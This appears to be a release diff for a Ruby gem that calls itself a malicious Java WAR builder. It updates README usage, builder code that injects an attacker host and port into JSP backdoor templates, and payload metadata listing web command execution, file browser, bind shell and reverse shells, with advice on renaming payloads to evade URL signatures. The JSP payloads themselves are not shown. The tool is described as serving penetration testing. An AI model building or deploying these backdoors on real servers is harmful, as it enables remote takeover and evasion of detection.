godofwar 1.0.1 → 1.1.0
Sign up to get free protection for your applications and to get access to all the features.
- checksums.yaml +4 -4
- data/.gitignore +58 -0
- data/README.md +33 -10
- data/bin/godofwar +6 -5
- data/godofwar.gemspec +6 -6
- data/lib/godofwar/builder.rb +7 -4
- data/lib/godofwar/payloads.rb +11 -11
- data/lib/godofwar/version.rb +1 -1
- data/payloads/payloads_info.json +8 -8
- metadata +8 -8
- data/Gemfile.lock +0 -19
checksums.yaml
CHANGED
@@ -1,7 +1,7 @@
|
|
1
1
|
---
|
2
2
|
SHA256:
|
3
|
-
metadata.gz:
|
4
|
-
data.tar.gz:
|
3
|
+
metadata.gz: 10bc19a2578d15ba14d62be3a3181a1a58811262b4786d148c40427b212f738b
|
4
|
+
data.tar.gz: 7479441d79cc87cceba61edc2368f569cbf3efbccba00db00668f529e9c9fbd5
|
5
5
|
SHA512:
|
6
|
-
metadata.gz:
|
7
|
-
data.tar.gz:
|
6
|
+
metadata.gz: 28ccb54673055e2eb62d8bd91190087562a7e72d8971edcab708c4c31fb5c337b5b89e9d41a5432225dcb3ff85fb9327e4589fb995e2eef522393358547ab05f
|
7
|
+
data.tar.gz: 003c4ecf9b34184ff948269d1b44168b926199bd9d4a89f5a3d853170e2424d2bbd53b5481342ad380344d367588ae6b297a3ea8d63d0155f54d5fdcbbfe0704
|
data/.gitignore
ADDED
@@ -0,0 +1,58 @@
|
|
1
|
+
/.bundle/
|
2
|
+
/.yardoc
|
3
|
+
/_yardoc/
|
4
|
+
/coverage/
|
5
|
+
/doc/
|
6
|
+
/pkg/
|
7
|
+
/spec/reports/
|
8
|
+
/tmp/
|
9
|
+
### Ruby template
|
10
|
+
*.gem
|
11
|
+
*.rbc
|
12
|
+
/.config
|
13
|
+
/coverage/
|
14
|
+
/InstalledFiles
|
15
|
+
/pkg/
|
16
|
+
/spec/reports/
|
17
|
+
/spec/examples.txt
|
18
|
+
/test/tmp/
|
19
|
+
/test/version_tmp/
|
20
|
+
/tmp/
|
21
|
+
|
22
|
+
# Used by dotenv library to load environment variables.
|
23
|
+
# .env
|
24
|
+
|
25
|
+
## Specific to RubyMotion:
|
26
|
+
.dat*
|
27
|
+
.repl_history
|
28
|
+
build/
|
29
|
+
*.bridgesupport
|
30
|
+
build-iPhoneOS/
|
31
|
+
build-iPhoneSimulator/
|
32
|
+
|
33
|
+
## Specific to RubyMotion (use of CocoaPods):
|
34
|
+
#
|
35
|
+
# We recommend against adding the Pods directory to your .gitignore. However
|
36
|
+
# you should judge for yourself, the pros and cons are mentioned at:
|
37
|
+
# https://guides.cocoapods.org/using/using-cocoapods.html#should-i-check-the-pods-directory-into-source-control
|
38
|
+
#
|
39
|
+
# vendor/Pods/
|
40
|
+
|
41
|
+
## Documentation cache and generated files:
|
42
|
+
/.yardoc/
|
43
|
+
/_yardoc/
|
44
|
+
/doc/
|
45
|
+
/rdoc/
|
46
|
+
|
47
|
+
## Environment normalization:
|
48
|
+
/.bundle/
|
49
|
+
/vendor/bundle
|
50
|
+
/lib/bundler/man/
|
51
|
+
|
52
|
+
|
53
|
+
# .idea
|
54
|
+
.idea/
|
55
|
+
|
56
|
+
|
57
|
+
# mpeltonen/sbt-idea plugin
|
58
|
+
.idea_modules/# JIRA pluginatlassian-ide-plugin.xml
|
data/README.md
CHANGED
@@ -49,8 +49,9 @@ GodOfWar - Malicious Java WAR builder.
|
|
49
49
|
- cmd_get
|
50
50
|
- filebrowser
|
51
51
|
- bind_shell
|
52
|
+
- reverse_shell
|
52
53
|
- reverse_shell_ui
|
53
|
-
- Configurable backdoor. (try `--host
|
54
|
+
- Configurable backdoor. (try `--host/--port`)
|
54
55
|
- Control over payload name.
|
55
56
|
- To avoid malicious name after deployment to bypass URL name signatures.
|
56
57
|
|
@@ -89,7 +90,7 @@ $ godofwar -l
|
|
89
90
|
│ ├── Settings: {"false"=>"No Settings required!"}
|
90
91
|
│ ├── Usage: http://host/cmd.jsp?cmd=whoami
|
91
92
|
│ ├── References: ["https://github.com/danielmiessler/SecLists/tree/master/Payloads/laudanum-0.8/jsp"]
|
92
|
-
│ └── Local Path: /
|
93
|
+
│ └── Local Path: /var/lib/gems/2.5.0/gems/godofwar-1.0.1/payloads/cmd_get
|
93
94
|
├── filebrowser
|
94
95
|
│ └── Information:
|
95
96
|
│ ├── Description: Remote file browser, upload, download, unzip files and native command execution
|
@@ -97,7 +98,7 @@ $ godofwar -l
|
|
97
98
|
│ ├── Settings: {"false"=>"No Settings required!"}
|
98
99
|
│ ├── Usage: http://host/filebrowser.jsp
|
99
100
|
│ ├── References: ["http://www.vonloesch.de/filebrowser.html"]
|
100
|
-
│ └── Local Path: /
|
101
|
+
│ └── Local Path: /var/lib/gems/2.5.0/gems/godofwar-1.0.1/payloads/filebrowser
|
101
102
|
├── bind_shell
|
102
103
|
│ └── Information:
|
103
104
|
│ ├── Description: TCP bind shell
|
@@ -105,26 +106,48 @@ $ godofwar -l
|
|
105
106
|
│ ├── Settings: {"port"=>4444, "false"=>"No Settings required!"}
|
106
107
|
│ ├── Usage: http://host/reverse-shell.jsp
|
107
108
|
│ ├── References: ["Metasploit - msfvenom -p java/jsp_shell_bind_tcp"]
|
108
|
-
│ └── Local Path: /
|
109
|
+
│ └── Local Path: /var/lib/gems/2.5.0/gems/godofwar-1.0.1/payloads/bind_shell
|
109
110
|
├── reverse_shell_ui
|
110
111
|
│ └── Information:
|
111
|
-
│ ├── Description: TCP reverse shell with a
|
112
|
-
│ ├── OS:
|
112
|
+
│ ├── Description: TCP reverse shell with a HTML form to set LHOST and LPORT from browser.
|
113
|
+
│ ├── OS: any
|
113
114
|
│ ├── Settings: {"host"=>"attacker", "port"=>4444, "false"=>"No Settings required!"}
|
114
115
|
│ ├── Usage: http://host/reverse_shell_ui.jsp
|
115
116
|
│ ├── References: []
|
116
|
-
│ └── Local Path: /
|
117
|
+
│ └── Local Path: /var/lib/gems/2.5.0/gems/godofwar-1.0.1/payloads/reverse_shell_ui
|
118
|
+
├── reverse_shell
|
119
|
+
│ └── Information:
|
120
|
+
│ ├── Description: TCP reverse shell. LHOST and LPORT are hardcoded
|
121
|
+
│ ├── OS: any
|
122
|
+
│ ├── Settings: {"host"=>"attacker", "port"=>4444, "false"=>"No Settings required!"}
|
123
|
+
│ ├── Usage: http://host/reverse_shell.jsp
|
124
|
+
│ ├── References: []
|
125
|
+
│ └── Local Path: /var/lib/gems/2.5.0/gems/godofwar-1.0.1/payloads/reverse_shell
|
117
126
|
```
|
118
127
|
|
119
128
|
**Generate payload with LHOST and LPORT**
|
120
129
|
```
|
121
|
-
godofwar -p
|
130
|
+
godofwar -p reverse_shell -H 192.168.100.10 -P 9911 -o puppy
|
122
131
|
```
|
132
|
+
After deployment, you can visit your shell on (http://host:8080/puppy/puppy.jsp)
|
123
133
|
|
124
134
|
## Contributing
|
125
135
|
|
126
|
-
|
127
|
-
|
136
|
+
1. Fork it ( https://github.com/KINGSABRI/godofwar/fork ).
|
137
|
+
2. Create your feature branch (git checkout -b my-new-feature).
|
138
|
+
3. Commit your changes (git commit -am 'Add some feature').
|
139
|
+
4. Push to the branch (git push origin my-new-feature).
|
140
|
+
5. Create a new Pull Request.
|
141
|
+
|
142
|
+
### Add More Backdoors
|
143
|
+
To contribute by adding more backdoors:
|
144
|
+
1. create a new folder under `payloads` directory.
|
145
|
+
2. put your `jsp` file under the newly created directory (make it the same directory name).
|
146
|
+
3. update `payloads_info.json` file with
|
147
|
+
1. description.
|
148
|
+
2. supported operating system (try to make it universal though).
|
149
|
+
3. configurations: default host and port.
|
150
|
+
4. references: the payload origin or its creator credits.
|
128
151
|
|
129
152
|
## License
|
130
153
|
|
data/bin/godofwar
CHANGED
@@ -3,8 +3,6 @@
|
|
3
3
|
# GodOfWare - A command-line tool to generate war payloads for penetration testing / red teaming purposes.
|
4
4
|
# @Author: KING SABRI - @KINGSABRI
|
5
5
|
#
|
6
|
-
lib = File.expand_path("../../lib", __FILE__)
|
7
|
-
$LOAD_PATH.unshift(lib) unless $LOAD_PATH.include?(lib)
|
8
6
|
require 'godofwar'
|
9
7
|
|
10
8
|
options = OpenStruct.new(payload: nil, host: nil, port: nil,
|
@@ -17,22 +15,23 @@ option_parser.separator "\nHelp menu:".underline
|
|
17
15
|
option_parser.on('-p', '--payload PAYLOAD',
|
18
16
|
'Generates war from one of the available payloads.',
|
19
17
|
"\t(check -l/--list)"
|
20
|
-
) {|v| options.payload = v}
|
18
|
+
) { |v| options.payload = v }
|
21
19
|
|
22
20
|
option_parser.on('-H', '--host IP_ADDR',
|
23
21
|
'Local or Remote IP address for the chosen payload',
|
24
22
|
"\t(used with -p/--payload)"
|
25
|
-
) {|v| options.host = v}
|
23
|
+
) { |v| options.host = v }
|
26
24
|
option_parser.on('-P', '--port PORT', Integer,
|
27
25
|
'Local or Remote Port for the chosen payload',
|
28
26
|
"\t(used with -p/--payload)"
|
29
|
-
) {|v| options.port = v}
|
27
|
+
) { |v| options.port = v }
|
30
28
|
option_parser.on('-o', "--output [FILE]",
|
31
29
|
'Output file and the deployment name.',
|
32
30
|
"\t(default is the payload original name. check '-l/--list')") do |v|
|
33
31
|
options.output = v
|
34
32
|
end
|
35
33
|
option_parser.on('-l', '--list', 'list all available payloads.') { |v| options.list = v }
|
34
|
+
option_parser.on('-v', '--version', 'Show the current version.') { |v| options.version = v }
|
36
35
|
option_parser.on('-h', '--help', 'Show this help message') {puts GodOfWar::Utils.banner , option_parser; exit!}
|
37
36
|
|
38
37
|
begin
|
@@ -40,6 +39,8 @@ begin
|
|
40
39
|
payloads = GodOfWar::Payloads.new
|
41
40
|
|
42
41
|
case
|
42
|
+
when options.version
|
43
|
+
puts "GodOfWar v#{GodOfWar::VERSION}"
|
43
44
|
when options.list
|
44
45
|
puts payloads.list_tree
|
45
46
|
when options.payload
|
data/godofwar.gemspec
CHANGED
@@ -9,17 +9,17 @@ Gem::Specification.new do |spec|
|
|
9
9
|
spec.authors = ["KINGSABRI"]
|
10
10
|
spec.email = ["king.sabri@gmail.com"]
|
11
11
|
|
12
|
-
spec.summary = %q{
|
12
|
+
spec.summary = %q{GodOfWar - Malicious Java WAR builder}
|
13
13
|
spec.description = %q{Evil war builder for hackers with built-in war payloads.}
|
14
14
|
spec.homepage = "https://github.com/KINGSABRI/godofwar"
|
15
15
|
spec.license = "MIT"
|
16
16
|
|
17
|
-
spec.files =
|
18
|
-
spec.bindir =
|
19
|
-
spec.executables = [
|
20
|
-
spec.require_paths = [
|
17
|
+
spec.files = `git ls-files -z`.split("\x0").reject {|f| f.match(%r{^(test|spec|features)/})}
|
18
|
+
spec.bindir = 'bin'
|
19
|
+
spec.executables = ['godofwar']
|
20
|
+
spec.require_paths = ['lib']
|
21
21
|
|
22
|
-
spec.add_dependency 'rubyzip'
|
22
|
+
spec.add_dependency 'rubyzip', '~> 1.2'
|
23
23
|
|
24
24
|
spec.metadata["homepage_uri"] = spec.homepage
|
25
25
|
spec.metadata["source_code_uri"] = "https://github.com/KINGSABRI/godofwar"
|
data/lib/godofwar/builder.rb
CHANGED
@@ -78,10 +78,12 @@ module GodOfWar
|
|
78
78
|
MANIFEST
|
79
79
|
|
80
80
|
File.write(manifest_mf_path, manifest_mf)
|
81
|
-
puts "#{
|
81
|
+
puts "#{manifest_mf_path}".step_success
|
82
82
|
end
|
83
83
|
|
84
84
|
def set_payload(host, port)
|
85
|
+
puts "Setting up payload:".tell
|
86
|
+
|
85
87
|
payload_file = File.join(@payload.path, "#{@payload.name}.jsp")
|
86
88
|
|
87
89
|
if @payload.conf.empty?
|
@@ -90,11 +92,12 @@ module GodOfWar
|
|
90
92
|
host = host.nil? ? @payload.conf["host"] : host
|
91
93
|
port = port.nil? ? @payload.conf["port"] : port
|
92
94
|
payload_raw = File.read(payload_file)
|
93
|
-
.sub('HOSTHOST', "#{host}")
|
95
|
+
.sub('HOSTHOST', "#{host}")
|
96
|
+
.sub('PORTPORT', "#{port}")
|
94
97
|
end
|
98
|
+
puts "#{@payload.name}.jsp ⟿ #{@output}.jsp".step_success
|
95
99
|
File.write(File.join(@output, "#{@output}.jsp"), payload_raw)
|
96
|
-
puts "
|
97
|
-
puts "#{File.join(@war_dir, @payload.name)}.jsp".step_success
|
100
|
+
puts "#{File.join(@war_dir, @output)}.jsp".step_success
|
98
101
|
end
|
99
102
|
|
100
103
|
# build_war build the WAR file by recursively the source directory content then zip it
|
data/lib/godofwar/payloads.rb
CHANGED
@@ -71,20 +71,20 @@ module GodOfWar
|
|
71
71
|
#
|
72
72
|
def list_tree
|
73
73
|
payloads_parse.map do |payload|
|
74
|
-
if payload.conf
|
75
|
-
payload.conf =
|
74
|
+
if payload.conf.empty?
|
75
|
+
payload.conf = 'No Settings required!'
|
76
76
|
else
|
77
|
-
payload.conf
|
77
|
+
payload.conf
|
78
78
|
end
|
79
79
|
|
80
|
-
"├── " + "#{payload.name}\n".bold
|
81
|
-
|
82
|
-
|
83
|
-
|
84
|
-
|
85
|
-
|
86
|
-
|
87
|
-
|
80
|
+
"├── " + "#{payload.name}\n".bold +
|
81
|
+
"│ └── Information:\n" +
|
82
|
+
"│ ├── Description: #{payload.desc}\n" +
|
83
|
+
"│ ├── OS: #{payload.os}\n" +
|
84
|
+
"│ ├── Settings: #{payload.conf}\n" +
|
85
|
+
"│ ├── Usage: #{payload.url}\n" +
|
86
|
+
"│ ├── References: #{payload.ref}\n" +
|
87
|
+
"│ └── Local Path: #{payload.path}"
|
88
88
|
end
|
89
89
|
end
|
90
90
|
end
|
data/lib/godofwar/version.rb
CHANGED
data/payloads/payloads_info.json
CHANGED
@@ -3,35 +3,35 @@
|
|
3
3
|
"desc" : "Command execution via web interface",
|
4
4
|
"os" : "any",
|
5
5
|
"conf" : {},
|
6
|
-
"url" : "http://host/cmd.jsp?cmd=whoami",
|
6
|
+
"url" : "http://host:8080/cmd/cmd.jsp?cmd=whoami",
|
7
7
|
"ref" : ["https://github.com/danielmiessler/SecLists/tree/master/Payloads/laudanum-0.8/jsp"]
|
8
8
|
},
|
9
9
|
"filebrowser": {
|
10
10
|
"desc" : "Remote file browser, upload, download, unzip files and native command execution",
|
11
11
|
"os" : "any",
|
12
12
|
"conf" : {},
|
13
|
-
"url" : "http://host/filebrowser.jsp",
|
13
|
+
"url" : "http://host:8080/filebrowser/filebrowser.jsp",
|
14
14
|
"ref" : ["http://www.vonloesch.de/filebrowser.html"]
|
15
15
|
},
|
16
16
|
"bind_shell": {
|
17
17
|
"desc" : "TCP bind shell",
|
18
18
|
"os" : "any",
|
19
19
|
"conf" : {"port": 4444},
|
20
|
-
"url" : "http://host/
|
20
|
+
"url" : "http://host:8080/bind-shell/bind-shell.jsp",
|
21
21
|
"ref" : ["Metasploit - msfvenom -p java/jsp_shell_bind_tcp"]
|
22
22
|
},
|
23
23
|
"reverse_shell_ui": {
|
24
24
|
"desc" : "TCP reverse shell with a HTML form to set LHOST and LPORT from browser.",
|
25
25
|
"os" : "any",
|
26
26
|
"conf" : {"host": "attacker", "port": 4444},
|
27
|
-
"url" : "http://host/reverse_shell_ui.jsp",
|
28
|
-
"ref" : []
|
27
|
+
"url" : "http://host:8080/reverse_shell_ui/reverse_shell_ui.jsp",
|
28
|
+
"ref" : ["unknown"]
|
29
29
|
},
|
30
30
|
"reverse_shell": {
|
31
|
-
"desc" : "TCP reverse shell. LHOST and LPORT are hardcoded",
|
31
|
+
"desc" : "TCP reverse shell, it runs once you brows the file. LHOST and LPORT are hardcoded",
|
32
32
|
"os" : "any",
|
33
33
|
"conf" : {"host": "attacker", "port": 4444},
|
34
|
-
"url" : "http://host/reverse_shell.jsp",
|
35
|
-
"ref" : []
|
34
|
+
"url" : "http://host:8080/reverse_shell/reverse_shell.jsp",
|
35
|
+
"ref" : ["unknown"]
|
36
36
|
}
|
37
37
|
}
|
metadata
CHANGED
@@ -1,29 +1,29 @@
|
|
1
1
|
--- !ruby/object:Gem::Specification
|
2
2
|
name: godofwar
|
3
3
|
version: !ruby/object:Gem::Version
|
4
|
-
version: 1.0
|
4
|
+
version: 1.1.0
|
5
5
|
platform: ruby
|
6
6
|
authors:
|
7
7
|
- KINGSABRI
|
8
8
|
autorequire:
|
9
9
|
bindir: bin
|
10
10
|
cert_chain: []
|
11
|
-
date: 2019-04-
|
11
|
+
date: 2019-04-16 00:00:00.000000000 Z
|
12
12
|
dependencies:
|
13
13
|
- !ruby/object:Gem::Dependency
|
14
14
|
name: rubyzip
|
15
15
|
requirement: !ruby/object:Gem::Requirement
|
16
16
|
requirements:
|
17
|
-
- - "
|
17
|
+
- - "~>"
|
18
18
|
- !ruby/object:Gem::Version
|
19
|
-
version: '
|
19
|
+
version: '1.2'
|
20
20
|
type: :runtime
|
21
21
|
prerelease: false
|
22
22
|
version_requirements: !ruby/object:Gem::Requirement
|
23
23
|
requirements:
|
24
|
-
- - "
|
24
|
+
- - "~>"
|
25
25
|
- !ruby/object:Gem::Version
|
26
|
-
version: '
|
26
|
+
version: '1.2'
|
27
27
|
description: Evil war builder for hackers with built-in war payloads.
|
28
28
|
email:
|
29
29
|
- king.sabri@gmail.com
|
@@ -32,9 +32,9 @@ executables:
|
|
32
32
|
extensions: []
|
33
33
|
extra_rdoc_files: []
|
34
34
|
files:
|
35
|
+
- ".gitignore"
|
35
36
|
- CODE_OF_CONDUCT.md
|
36
37
|
- Gemfile
|
37
|
-
- Gemfile.lock
|
38
38
|
- README.md
|
39
39
|
- Rakefile
|
40
40
|
- bin/godofwar
|
@@ -77,5 +77,5 @@ rubyforge_project:
|
|
77
77
|
rubygems_version: 2.7.6
|
78
78
|
signing_key:
|
79
79
|
specification_version: 4
|
80
|
-
summary:
|
80
|
+
summary: GodOfWar - Malicious Java WAR builder
|
81
81
|
test_files: []
|